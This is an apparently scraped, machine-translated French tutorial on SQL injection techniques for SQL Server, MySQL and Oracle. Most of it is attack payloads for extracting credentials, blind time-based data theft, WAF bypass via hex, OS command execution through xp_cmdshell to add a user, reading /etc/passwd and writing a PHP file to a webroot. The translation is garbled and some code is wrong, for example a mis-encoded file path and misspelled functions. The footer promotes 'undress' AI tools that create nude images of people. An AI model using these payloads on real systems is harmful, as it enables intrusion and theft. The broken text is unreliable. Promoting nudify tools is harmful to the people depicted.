Quelles sont les trois méthodes d'injection SQL ?
Les trois méthodes d'injection SQL sont : 1. Injection numérique ; lorsque le paramètre d'entrée est un entier, il peut y avoir une vulnérabilité d'injection numérique. 2. Injection de caractères ; lorsque le paramètre d’entrée est une chaîne, une vulnérabilité d’injection de caractères peut exister. 3. Autres types (par exemple : injection de recherche, injection de cookies, injection POST, etc.).
Principe d'injection SQL
L'attaque par injection SQL fait référence à la construction d'une entrée spéciale Passé dans le application Web en tant que paramètres, la plupart de ces entrées sont des combinaisons dans la syntaxe SQL. En exécutant des instructions SQL, l'attaquant effectue les opérations requises. La raison principale est que le programme ne filtre pas soigneusement les données saisies par l'utilisateur, ce qui entraîne des données illégales. système d’intrusion.
Classification des injections SQL
Injection numérique
Quand les paramètres d'entrée sont des entiers, il peut y avoir une vulnérabilité d'injection numérique.
Supposons qu'il existe une URL : HTTP://www.aaa.com/test.php?id=1
Vous pouvez deviner l'instruction SQL en arrière-plan comme : SELECT * FROM table WHERE id=1
Déterminez le point d'injection SQL de la vulnérabilité numérique :
① Entrez d'abord un guillemet simple '
dans la zone de saisie. L'instruction SQL deviendra :
, SELECT * FROM table WHERE id=1'
② Saisissez and 1 = 1
SELECT * FROM table WHERE id=1 and 1 = 1
③ Entrez and 1 = 2
SELECT * FROM table WHERE id=1 and 1 = 2
2. Injection de caractères
Lorsque le paramètre d'entrée est une chaîne, une vulnérabilité d'injection de caractères peut exister. La plus grande différence entre l'injection numérique et l'injection de caractères est que les types numériques n'ont pas besoin d'être fermés par des guillemets simples, tandis que les types de caractèresdoivent généralement être fermés par des guillemets simples.
La chose la plus critique à propos de l'injection de caractères est de savoir commentfermer l'instruction SQL et commenter le code redondant.
Supposons que l'instruction SQL d'arrière-plan soit la suivante :SELECT * FROM table WHERE username = 'admin'
Déterminez le point d'injection SQL de la vulnérabilité du caractère :
① Ou entrez d'abord des guillemets simples pour tester l'instruction SQL de admin'
. SELECT * FROM table WHERE username = 'admin''
② Entrée : admin' and 1 = 1 --
après admin, qui est utilisé pour fermer la chaîne, et enfin il y a un caractère de commentaire '
(--
Il y a un espace après les deux barres !!!).
SELECT * FROM table WHERE username = 'admin' and 1 = 1 --
③ Entrée : admin' and 1 = 2 --
SELECT * FROM table WHERE username = 'admin' and 1 = 2 --
3. Autres types
En fait, je pense qu'il n'y a que deux types d'injection SQL : numérique et caractère. Beaucoup de gens peuvent dire qu'il existe d'autres méthodes telles que : l'injection de cookies, l'injection POST, l'injection retardée, etc.C'est effectivement le cas, mais ces types d'injections ne sont en fin de compte que différentes formes de présentation d'injections numériques et de caractères ou différents emplacements d'injection.
- Injection POST : le champ injecté est dans les données POST
- Injection de cookie : le champ injecté est dans le cookie data
- Injection retardée : injecter à l'aide de la fonction de retard de la base de données
- Injection de recherche : le lieu d'injection est le lieu de recherche
- injection base64 : la chaîne injectée doit être cryptée en base64
Injections de base de données courantes
Pour l'injection de base de données, les attaquants utilisent simplement la base de données pour obtenir plus de données ou des autorisations plus importantes. dans les catégories suivantes :- Interroger des données
- Lire et écrire des fichiers
- Exécuter des commandes
Voici les injections de trois bases de données : Oracle 11g, MySQL 5.1 et SQL Server 2008.
SQL Server
1. Utiliser les messages d'erreur pour extraire les informations
La base de données SQL Server est a Une très bonne base de données, capable de localiser avec précision les informations sur les erreurs, est une très bonne chose pour les attaquants, car ceux-ci peuvent extraire les données qu'ils souhaitent via des messages d'erreur.
① Énumérer la table ou la colonne actuelle
Supposons qu'une telle table existe :
Interroger les détails de la racine Informations utilisateur, la proposition de l'instruction SQL est la suivante : SELECT * FROM user WHERE username = 'root' AND password = 'root'
Un attaquant peut utiliser les fonctionnalités de SQL Server pour obtenir des informations sensibles, saisissez l'instruction suivante dans la zone de saisie : ' having 1 = 1 --
Exécution finale L'instruction SQL deviendra : SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --
Ensuite, l'exécuteur SQL peut renvoyer une erreur :
L'attaquant peut découvrir le courant Le nom de la table est user et l'identifiant du champ existe.
Un attaquant peut utiliser cette fonctionnalité pour continuer à obtenir d'autres noms de colonnes en saisissant l'instruction suivante : ' GROUP BY users.id HAVING 1 = 1 --
L'instruction SQL devient alors :SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --
Throw Une erreur s'est produite :
À partir de là, vous pouvez voir que le nom de la colonne nom d'utilisateur est inclus. Vous pouvez interroger de manière récursive une fois jusqu'à ce qu'aucun message d'erreur ne soit renvoyé. Vous pouvez donc utiliser la clause HAVING pour obtenir tous les noms de colonnes de la table actuelle.
Remarque : Chaque colonne spécifiée par Select doit apparaître dans la clause Group By, sauf si une fonction d'agrégation est utilisée pour cette colonne
② Extraction à l'aide d'erreurs de type de données Données.
L'éditeur SQL lèvera une exception si vous essayez de comparer une chaîne à une non-chaîne, ou de convertir une chaîne en un autre type incompatible.
L'instruction SQL suivante : SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)
Message d'erreur de l'exécuteur :
De cette façon, vous pouvez obtenir le nom d'utilisateur root. Parce que dans la sous-requête SELECT TOP 1 username FROM users
, le premier nom d'utilisateur interrogé est renvoyé. Le type de retour est de type varchar, puis il est comparé à 1 de type int. Les deux types de données différents ne peuvent pas être comparés et une erreur est signalée. conduit à une violation de données.
Utilisez cette méthode pour dériver de manière récursive toutes les informations du compte : SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))
.
En construisant cette instruction, vous pouvez obtenir le nom d'utilisateur suivant ; si vous remplacez le nom d'utilisateur dans la sous-requête par d'autres noms de colonnes, vous pouvez obtenir les informations d'autres colonnes, qui ne seront pas décrites ici.
2. Obtenir des métadonnées
SQL Server fournit un grand nombre de vues pour faciliter l'obtention de métadonnées. Vous pouvez d'abord deviner le nombre de colonnes dans la table, puis utiliser UNION pour construire une instruction SQL afin d'obtenir les données.
Par exemple : SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
Si le nombre de colonnes dans la table actuelle est de 2, vous pouvez utiliser l'instruction UNION pour obtenir la table de base de données actuelle. Comment deviner le nombre de colonnes dans le tableau actuel sera décrit plus tard.
Quelques vues de base de données système couramment utilisées :
数据库视图 | 说明 |
---|---|
SYS.DATABASES | SQL Server 中的所有数据库 |
SYS.SQL_LOGINS | SQL Server 中的所有登录名 |
INFORMATION_SCHEMA.TABLES | 当前用户数据库中的所有数据表 |
INFORMATION_SCHEMA.COLUMNS | 当前用户数据库中的所有列 |
SYS.ALL_COLUMNS | 用户定义对象和系统对象的所有列的联合 |
SYS.DATABASE_PRINCIPALS | 数据库中每个权限或列异常权限 |
SYS.DATABASE_FILES | 存储在数据库中的数据库文件 |
SYSOBJECTS | 数据库中创建的每个对象 (包括约束、日志以及存储过程) |
3. La clause ORDER BY devine le nombre de colonnes
Vous pouvez utiliser l'instruction ORDER BY pour déterminer le nombre de colonnes dans la table actuelle.
Par exemple :
① SELECT * FROM users WHERE id = 1
- L'exécution SQL est normale
②SELECT * FROM users WHERE id = 1 ORDER BY 1
(triée par la première colonne) - L'exécution SQL est normale
③ SELECT * FROM users WHERE id = 1 ORDER BY 2
(trié par la deuxième colonne) - L'exécution SQL est normale
④ SELECT * FROM users WHERE id = 1 ORDER BY 3
(triée par la troisième colonne) - L'exécution SQL est normale
⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4
(triée par la quatrième colonne Tri des colonnes) - SQL lève une exception :
On peut en conclure que le nombre de colonnes dans la table actuelle n'est que de 3, car une erreur se produit lors du tri par la 4ème colonne. Cette méthode s'applique également aux bases de données Oracle et MySql.
Après avoir connu le nombre de colonnes, l'attaquant coopère généralement avec le mot-clé UNION pour mener l'attaque suivante.
4. Requête UNION
Le mot-clé UNION combine deux résultats de requête ou plus en un seul ensemble de résultats. La plupart des bases de données prennent en charge les requêtes UNION. Cependant, les règles de base pour fusionner deux résultats à l'aide de UNION sont les suivantes :
- Le nombre de colonnes dans toutes les requêtes doit être le même
- Les types de données doivent être compatibles
① Utilisez la requête UNION pour deviner le nombre de colonnes
Non seulement vous pouvez utiliser la méthode ORDER BY pour deviner le nombre de colonnes, mais la méthode UNION peut également être utilisé.
Il y a 5 colonnes dans la table utilisateur supposée précédemment. Si nous utilisons UNION pour interroger : SELECT * FROM users WHERE id = 1 UNION SELECT 1
La base de données émettra une exception :
Peut Si vous effectuez une requête récursive jusqu'à ce qu'aucune erreur ne se produise, vous pouvez connaître le nombre de champs de requête dans la table User : UNION SELECT 1,2
, UNION SELECT 1,2,3
Vous pouvez également modifier le nombre après SELECT en null, de sorte que les erreurs sont moins susceptibles de se produire.
② Requête conjointe pour les informations sensibles
Après avoir su que le nombre de colonnes est de 4, vous pouvez utiliser l'instruction suivante pour continuer l'injection : UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U'
(Remarque : xtype='U' Indique que le type d'objet est une table)
Si le type de données de la première colonne ne correspond pas, la base de données signalera une erreur et vous pourrez interroger de manière récursive jusqu'à ce que les instructions soient compatibles. Lorsque l'instruction est exécutée normalement, vous pouvez remplacer x par une instruction SQL pour interroger des informations sensibles.
5. Utilisez les fonctions système fournies par SQL Server
SQL Server fournit de nombreuses fonctions système, qui peuvent être utilisées pour accéder aux informations dans le système SQL Server. tables, sans utiliser d'instructions de requête SQL.
Par exemple :
- SELECT suser_name() : renvoie le nom d'identification de connexion de l'utilisateur
- SELECT user_name() : renvoie le nom d'utilisateur de la base de données en fonction de l'identification spécifiée number
- SELECT db_name() : renvoie le nom de la base de données
- SELECT is_member('db_owner') : s'il s'agit d'un rôle de base de données
- SELECT convert(int, '5' ): Conversion de type de données
6. Procédure stockée
La procédure stockée est un ensemble de "fonctions" SQL utilisées pour exécuter des fonctions spécifiques dans les grands systèmes de bases de données, tels que : exécuter des commandes système, afficher le registre, lire les répertoires du disque, etc.
La procédure stockée la plus couramment utilisée par les attaquants est "xp_cmdshell", qui permet aux utilisateurs d'exécuter des commandes du système d'exploitation.
Par exemple : S'il y a un point d'injection dans http://www.aaa.org/test.aspx?id=1
, alors l'attaquant peut mettre en œuvre l'attaque par commande : http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'
L'instruction SQL finale exécutée est la suivante :
SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'
L'instruction après le point-virgule permet à l'attaquant de créer un nouvel utilisateur sur le serveur de l'autre partie avec le test du nom d'utilisateur et le test du mot de passe.
Remarque : aucun utilisateur de base de données ne peut utiliser ce type de procédure stockée, L'utilisateur doit détenir l'autorisation CONTROL SERVER.
Les procédures stockées dangereuses courantes sont les suivantes :
存储过程 | 说明 |
---|---|
sp_addlogin | 创建新的 SQL Server 登录,该登录允许用户使用 SQL Server 身份连接到 SQL Server 实例 |
sp_dropuser | 从当前数据库中删除数据库用户 |
xp_enumgroups | 提供 Microsoft Windows 本地组列表或在指定的 Windows 域中定义全局组列表 |
xp_regread | 读取注册表 |
xp_regwrite | 写入注册表 |
xp_redeletevalue | 删除注册表 |
xp_dirtree | 读取目录 |
sp_password | 更改密码 |
xp_servicecontrol | 停止或激活某服务 |
De plus, toute base de données nécessite des autorisations spécifiques lors de l'utilisation de certaines fonctions spéciales ou procédures stockées. Les rôles et autorisations courants de la base de données SQL Server sont les suivants :
角色 | 权限 |
---|---|
bulkadmin | 可以运行 BULK INSERT 语句 |
dbcreator | 可以创建、更改、删除和还原任何数据库 |
diskadmin | 可以管理磁盘文件 |
processadmin | 可以种植在数据库引擎中运行的实例 |
securityadmin | 可以管理登录名及其属性;可以利用 GRANT、DENY 和 REVOKE 服务器级别的权限;还可以利用 GRANT、DENY 和 REVOKE 数据库级别的权限;此外也可以重置 SQL Server 登录名的密码 |
serveradmin | 可以更改服务器范围的配置选项和关闭服务器 |
setupadmin | 可以添加和删除链接服务器,并可以执行某些系统存储过程 |
sysadmin | 可以在数据库引擎中执行任何活动 |
7. Exécution dynamique
SQL Server prend en charge l'exécution dynamique des instructions. Les utilisateurs peuvent soumettre une chaîne pour exécuter des instructions SQL.
Par exemple : exec('SELECT username, password FROM users')
Vous pouvez également définir une instruction SQL hexadécimale et utiliser la fonction exec pour l'exécuter. La plupart des applications Web et des pare-feu filtrent les guillemets simples. L'utilisation de exec pour exécuter des instructions SQL hexadécimales peut contourner de nombreux pare-feu et programmes anti-injection, tels que :
declare @query varchar(888) select @query=0x73656C6563742031 exec(@query)
ou : declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)
MySQL
Le processus d'injection de SQL Server a été décrit en détail précédemment. Lors de l'injection dans d'autres bases de données, l'idée de base est la même, à l'exception des fonctions ou des instructions. utilisés par les deux sont légèrement différents.
1. Commentaires dans MySQLMySQL prend en charge les 3 styles de commentaires suivants :
« # » : les commentaires commencent par « # » Jusqu'à la fin de la ligne- "-- " : Le commentaire passe de la séquence "--" à la position de la ligne. A noter que lors de l'utilisation de ce commentaire, il doit être suivi d'un espace.
- /**/ : commentaires de /* à*/ caractères entre
MySQL 5.0 et supérieur fournissent INFORMATION_SCHEMA, qui est une base de données d'informations. Permet d'accéder aux métadonnées de la base de données. Voici comment lire le nom de la base de données, le nom de la table et le nom de la colonne.
① Interroger le nom de la base de données utilisateur
La table INFORMATION_SCHEMA.SCHEMATA fournit des informations sur la base de données. SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
②Interroger la table de données actuelle
La table INFORMATION_SCHEMA.TABLES donne des informations sur les tables de la base de données. SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())
③Interroger tous les champs de la table spécifiée
INFORMATION_SCHEMA.COLUMNS Les informations sur les colonnes du tableau sont données dans le tableau. SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'
est à peu près la même que SQL Server et ne sera pas décrite ici.
4. Utilisation des fonctions MySQLQu'il s'agisse de MySQL, d'Oracle ou d'autres bases de données, il existe de nombreuses fonctions système intégrées. , nous en présenterons quelques-unes qui sont utiles aux testeurs d'intrusion.
① La fonction Load_file() lit l'opération de fichierMySQL fournit la fonction Load_file() pour aider les utilisateurs à lire rapidement les fichiers, mais l'emplacement du fichier doit être sur le server , le fichier doit être un chemin absolu et l'utilisateur doit disposer de l'autorisation FILE et la capacité du fichier doit être inférieure à max_allowed_packet octets (la valeur par défaut est de 16 Mo, le maximum est de 1 Go).
L'instruction SQL est la suivante :
UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #
Habituellement, certaines instructions anti-injection n'autorisent pas l'apparition de guillemets simples, vous pouvez donc utiliser l'instruction suivante pour la contourner :
"0x2F6561342F706173737764" est le résultat de la conversion hexadécimale de "/etc/passwd". UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #
Lorsque le navigateur renvoie des données, il peut y avoir des caractères tronqués, vous pouvez donc utiliser la fonction hex() pour convertir la chaîne en données hexadécimales.
MySQL fournit l'opération d'écriture de fichiers sur le disque Comme load_file(), vous devez disposer des autorisations FILE et le fichier doit être plein. . Nom du chemin.
Écrire le fichier :
SELECT '<?php phpinfo();?>' into oufile 'C:wwwroot1.php'
MySQL Si vous devez interroger plusieurs données en même temps, vous pouvez utilisez la fonction concat() ou concat_ws() pour terminer.
;SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version())
Vous pouvez également changer la virgule en représentation hexadécimale : 0x2c
MySQL dispose également d'une injection d'erreurs explicite, qui peut utiliser des erreurs pour extraire des messages, tout comme la base de données SQL Server.
① Exécuter des instructions SQL via la fonction updatexmlComprenez d'abord la fonction updatexml() :
updatexml (XML_document, XPath_string, new_value);Premiers paramètres : XML_document est au format String, qui est le nom de l'objet document XML ;
Le deuxième paramètre : XPath_string (chaîne au format Xpath),
Le troisième paramètre : new_value, au format String, remplace la correspondance trouvée. La fonction concat() des données conditionnelles
les concatène en une chaîne, elle ne sera donc pas conforme au format de XPATH_string, ce qui entraînera des erreurs de format, des erreurs et un affichage méconnaissable : SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1)
② Utilisez la fonction extractvalue SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
pour afficher l'utilisateur actuel avec la même erreur :
6. Injection d'octets larges
L'injection d'octets larges est causée par une incohérence d'encodage Cette injection se produit généralement en PHP + MySQL.
Il existe une option magic_quotes_gpc dans le fichier de configuration PHP php.ini, qui s'appelle magic quotes. Lorsque cette option est activée, utilisez des guillemets simples ('), des guillemets doubles acceptés par GET, POST. , et Cookie. Les guillemets ("), la barre oblique inverse () et les caractères NULL sont automatiquement échappés avec une barre oblique inverse .
Utilisez le code PHP comme suit pour utiliser $_GET pour recevoir les paramètres :
Si vous accédez à l'URL : http:/www.xxser.com/Get.php?id='
, elle s'affichera comme suit :
Une fois le guillemet simple '
échappé, il devient '
. Dans MySQL, '
est un caractère légal, il n'y a donc aucun moyen de fermer le guillemet simple. Par conséquent, lorsque le type d'injection est de type caractère,
ne peut pas être injecté. : %d5'
, l'URL d'accès : http:/www.xxser.com/Get.php?id=%d5'
sera affichée comme suit :
Vous pouvez constater que les guillemets simples ne sont pas échappés cette fois, vous pouvez donc percer l'échappement PHP et continuer. pour fermer l'instruction SQL pour l'injection SQL.
7. Troncation des caractères longs MySQL
La troncature des caractères longs MySQL est également connue sous le nom de « troncature de colonne SQL ». 🎜>Il existe une option sql_mode dans un paramètre de MySQL. Lorsque sql_mode est défini par défaut, c'est-à-dire que lorsque l'option STRICT - ALL_TABLES n'est pas activée, MySQL affichera uniquement un avertissement au lieu d'une erreur lors de l'insertion d'une valeur trop longue. .
champ nom d'utilisateur.
① Insérez le. Instruction SQL normale : INSERT users(id, username, password) VALUES(1, 'admin', 'admin');
Insérer avec succès. Insérez la mauvaise instruction SQL afin que la longueur du champ du nom d'utilisateur dépasse 7 :
INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');
Bien qu'il y ait un avertissement, l'insertion a réussi ③ Essayez à nouveau d'insérer une erreur. La longueur de l'instruction SQL dépasse la longueur spécifiée d'origine :
INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;
Interrogez la base de données :
Vous pouvez voir que les trois éléments de données sont insérés dans la base de données, mais la valeur change par défaut, si les données dépassent la longueur par défaut. , MySQL va le mettre en scène. Mais comment attaquer l'utilisateur nommé admin ?
On peut constater que seul l'utilisateur nommé admin est interrogé, mais les deux autres utilisateurs admin avec des longueurs incohérentes sont également interrogés, ce qui posera des problèmes de sécurité
Par exemple, il y a un administrateur qui porte ce jugement lors de la connexion :
$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'";
8. Injection retardée
Il existe une fonction dans MySQL : sleep(duration). Cette fonction permet d'exécuter l'instruction après que le paramètre de durée soit donné pendant quelques secondes. L'instruction SQL suivante :
signifie que l'instruction sera exécutée dans 3 secondes. Exécutez ensuite l'instruction SQL.
Vous pouvez utiliser cette fonction pour déterminer si l'URL présente une vulnérabilité d'injection SQL Les étapes sont les suivantes :
Cela peut être conclu à partir du monde renvoyé par le. page sur laquelle le SGBD a exécuté l'instruction and sleep(3)
De cette manière, il peut être déterminé que l'URL présente une vulnérabilité d'injection SQL.
Ensuite, les données peuvent également être lues via la fonction sleep(), mais cela nécessite la coopération d'autres fonctions :
①Interrogez l'utilisateur actuel et obtenez la longueur de la chaîne.
Exécutez l'instruction SQL : AND if(length(user()) = 0, sleep(3), 1)
S'il y a un délai de 3 secondes, la longueur de la chaîne utilisateur peut être jugée. Lors de l'injection, l'algorithme demi est généralement utilisé pour réduire. le jugement.
② Interceptez le premier caractère de la chaîne et convertissez-le en code ASCII AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
......
Changez continuellement le code ASCII jusqu'à il y a un délai de 3 secondes. Vous pouvez deviner le premier caractère.
③ Interceptez récursivement chaque caractère de la chaîne et comparez-le respectivement avec le code ASCII AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)
Remarque : la position de L représente le caractère de la chaîne et la position de N représente le code ASCII.
Non seulement les fonctions de délai existent dans MySQL, mais il existe également des fonctions avec des fonctions similaires dans des bases de données telles que SQL Server et Oracle, telles que le délai d'attente dans SQL Server et DBMS_LOCK.SLEEP dans Oracle.
Oracle
1. Obtenir des métadonnées
Oracle prend également en charge l'interrogation des métadonnées, comme suit. est une vue de métadonnées couramment utilisée injectée par Oracle :
① vue user_tablespaces, afficher les espaces table SELECT tablespace_name FROM user_tablespaces
② vue user_tables, afficher toutes les tables de l'utilisateur actuel SELECT table_name FROM user_tables WHERE rownum = 1
③ vue user_tab_columns, affichez toutes les colonnes de l'utilisateur actuel, par exemple en interrogeant toutes les colonnes de la table utilisateur : SELECT column_name FROM user_tab_columns WHERE table_name = 'users'
④ vue all_users, affichez tous les utilisateurs de la base de données ORacle SELECT username FROM all_users
⑤ vue user_objects, affiche tous les objets (noms de table, contraintes, index) de l'utilisateur actuel SELECT object_name FROM user_objects
2.
Oracle, comme MySQL, ne prend pas en charge l'exécution de plusieurs instructions contrairement à SQL Server, qui peut être séparé par des points-virgules pour injecter plusieurs instructions SQL.
① Obtenir le nombre total de colonnes
La méthode pour obtenir le nombre total de colonnes est similaire aux deux bases de données précédentes, et peut toujours être effectuée en utilisant la clause ORDER BY.
Une autre méthode consiste à utiliser le mot clé UNION pour déterminer, mais Oracle stipule que chaque requête doit être suivie du nom de la table, sinon la requête ne sera pas établie .
Peut être utilisé dans Oracle : UNION SELECT null, null, null …… FROM dual
Le dual ici est une table virtuelle dans Oracle Vous pouvez utiliser cette table comme table de requête sans savoir quelles tables existent dans la base de données.
Ensuite, récupérez la colonne de type non numérique, c'est-à-dire que peut afficher la colonne d'informations : UNION SELECT 'null', null, null, …… FROM dual
UNION SELECT null, 'null', null, …… FROM dual
Mettre chaque chiffre null
est entouré de guillemets simples ' tour à tour. Si rapporte une erreur, ce n'est pas une colonne de type chaîne si renvoie normal, c'est une colonne de type chaîne , et vous pouvez saisir l'instruction Insérer la requête correspondante à l'emplacement pour obtenir les informations.
② Obtenir des informations sensibles Les informations sensibles courantes sont les suivantes :
- Autorisations de l'utilisateur actuel :
SELECT * FROM session_roles
Base de données actuelle version :SELECT banner FROM sys.v_$version WHERE rownum = 1
IP d'exportation du serveur : utilisez - pour obtenir
utl_http.request
IP de surveillance du serveur : SELECT utl_inaddr.get_host_address FROM dual
Système d'exploitation du serveur : -
SELECT member FROM v$logfile WHERE rownum = 1
SID du serveur : SELECT instance_name FROM v$instance
Utilisateur actuellement connecté : SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual
③ Obtenez la table de la base de données et son contenu Obtenez le table Après le nombre de colonnes, vous pouvez interroger le nom de la table et le nom de la colonne en interrogeant les métadonnées, puis interroger les données, telles que : http://www.aaa.org/new.jsp?id=1 UNION SELECT username, password, null FROM users --
Remarque : lors de l'interrogation de données, vous devez également faire attention à le type de données, sinon la requête ne peut pas être effectuée. Vous ne pouvez tester qu'un par un et modifier la position de requête des paramètres.
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

AI Hentai Generator
Générez AI Hentai gratuitement.

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Nginx est un serveur Web rapide, performant et évolutif, et sa sécurité est un problème qui ne peut être ignoré dans le développement d'applications Web. Surtout les attaques par injection SQL, qui peuvent causer d’énormes dégâts aux applications Web. Dans cet article, nous verrons comment utiliser Nginx pour empêcher les attaques par injection SQL afin de protéger la sécurité des applications Web. Qu’est-ce qu’une attaque par injection SQL ? L'attaque par injection SQL est une méthode d'attaque qui exploite les vulnérabilités des applications Web. Les attaquants peuvent injecter du code malveillant dans les applications Web

0x01 Préface Présentation L'éditeur a découvert un autre double débordement de données dans MySQL. Lorsque nous obtenons les fonctions dans MySQL, l'éditeur s'intéresse davantage aux fonctions mathématiques. Elles doivent également contenir certains types de données pour enregistrer les valeurs. L'éditeur a donc exécuté un test pour voir quelles fonctions provoqueraient des erreurs de débordement. Puis l'éditeur a découvert que lorsqu'une valeur supérieure à 709 est passée, la fonction exp() provoquera une erreur de débordement. mysql>selectexp(709);+-----------------------+|exp(709)|+---------- - -----------+|8.218407461554972

Conseils de programmation PHP : Comment prévenir les attaques par injection SQL La sécurité est cruciale lors de l'exécution d'opérations de base de données. Les attaques par injection SQL sont une attaque réseau courante qui exploite la mauvaise gestion par une application des entrées utilisateur, entraînant l'insertion et l'exécution de code SQL malveillant. Pour protéger notre application contre les attaques par injection SQL, nous devons prendre quelques précautions. Utiliser des requêtes paramétrées Les requêtes paramétrées constituent le moyen le plus simple et le plus efficace de prévenir les attaques par injection SQL. Cela fonctionne en comparant les valeurs saisies par l'utilisateur avec une requête SQL

Notes de développement de Laravel : méthodes et techniques pour empêcher l'injection SQL Avec le développement d'Internet et les progrès continus de la technologie informatique, le développement d'applications Web est devenu de plus en plus courant. Au cours du processus de développement, la sécurité a toujours été une question importante que les développeurs ne peuvent ignorer. Parmi eux, la prévention des attaques par injection SQL est l’un des problèmes de sécurité qui nécessite une attention particulière lors du processus de développement. Cet article présentera plusieurs méthodes et techniques couramment utilisées dans le développement de Laravel pour aider les développeurs à prévenir efficacement l'injection SQL. Utilisation de la liaison de paramètres La liaison de paramètres est Lar

Présentation de la détection et de la réparation des vulnérabilités d'injection SQL PHP : L'injection SQL fait référence à une méthode d'attaque dans laquelle les attaquants utilisent des applications Web pour injecter de manière malveillante du code SQL dans l'entrée. PHP, en tant que langage de script largement utilisé dans le développement Web, est largement utilisé pour développer des sites Web et des applications dynamiques. Cependant, en raison de la flexibilité et de la facilité d'utilisation de PHP, les développeurs ignorent souvent la sécurité, ce qui entraîne l'existence de vulnérabilités d'injection SQL. Cet article explique comment détecter et corriger les vulnérabilités d'injection SQL dans PHP et fournit des exemples de code pertinents. vérifier

Dans le domaine de la sécurité des réseaux, les attaques par injection SQL sont une méthode d'attaque courante. Il exploite le code malveillant soumis par des utilisateurs malveillants pour modifier le comportement d'une application afin d'effectuer des opérations dangereuses. Les attaques par injection SQL courantes incluent les opérations de requête, les opérations d'insertion et les opérations de suppression. Parmi elles, les opérations de requête sont les plus fréquemment attaquées, et une méthode courante pour empêcher les attaques par injection SQL consiste à utiliser PHP. PHP est un langage de script côté serveur couramment utilisé dans les applications Web. PHP peut être lié à MySQL, etc.

Filtrage de formulaire PHP : prévention et filtrage des injections SQL Introduction : Avec le développement rapide d'Internet, le développement d'applications Web est devenu de plus en plus courant. Dans le développement Web, les formulaires sont l’un des moyens d’interaction les plus courants avec les utilisateurs. Cependant, il existe des risques de sécurité dans le traitement des données de soumission des formulaires. Parmi eux, l’un des risques les plus courants concerne les attaques par injection SQL. Une attaque par injection SQL est une méthode d'attaque qui utilise une application Web pour traiter de manière inappropriée les données saisies par l'utilisateur, permettant à l'attaquant d'effectuer des requêtes de base de données non autorisées. L'attaquant passe le

L'injection SQL est une méthode d'attaque réseau courante qui utilise le traitement imparfait des données d'entrée par l'application pour injecter avec succès des instructions SQL malveillantes dans la base de données. Cette méthode d'attaque est particulièrement courante dans les applications développées à l'aide du langage PHP, car la gestion par PHP des entrées utilisateur est généralement relativement faible. Cet article présentera quelques stratégies pour gérer les vulnérabilités d'injection SQL et fournira des exemples de code PHP. Utilisation d'instructions préparées Les instructions préparées constituent un moyen recommandé pour se défendre contre l'injection SQL. Il utilise des paramètres de liaison pour combiner les données d'entrée avec
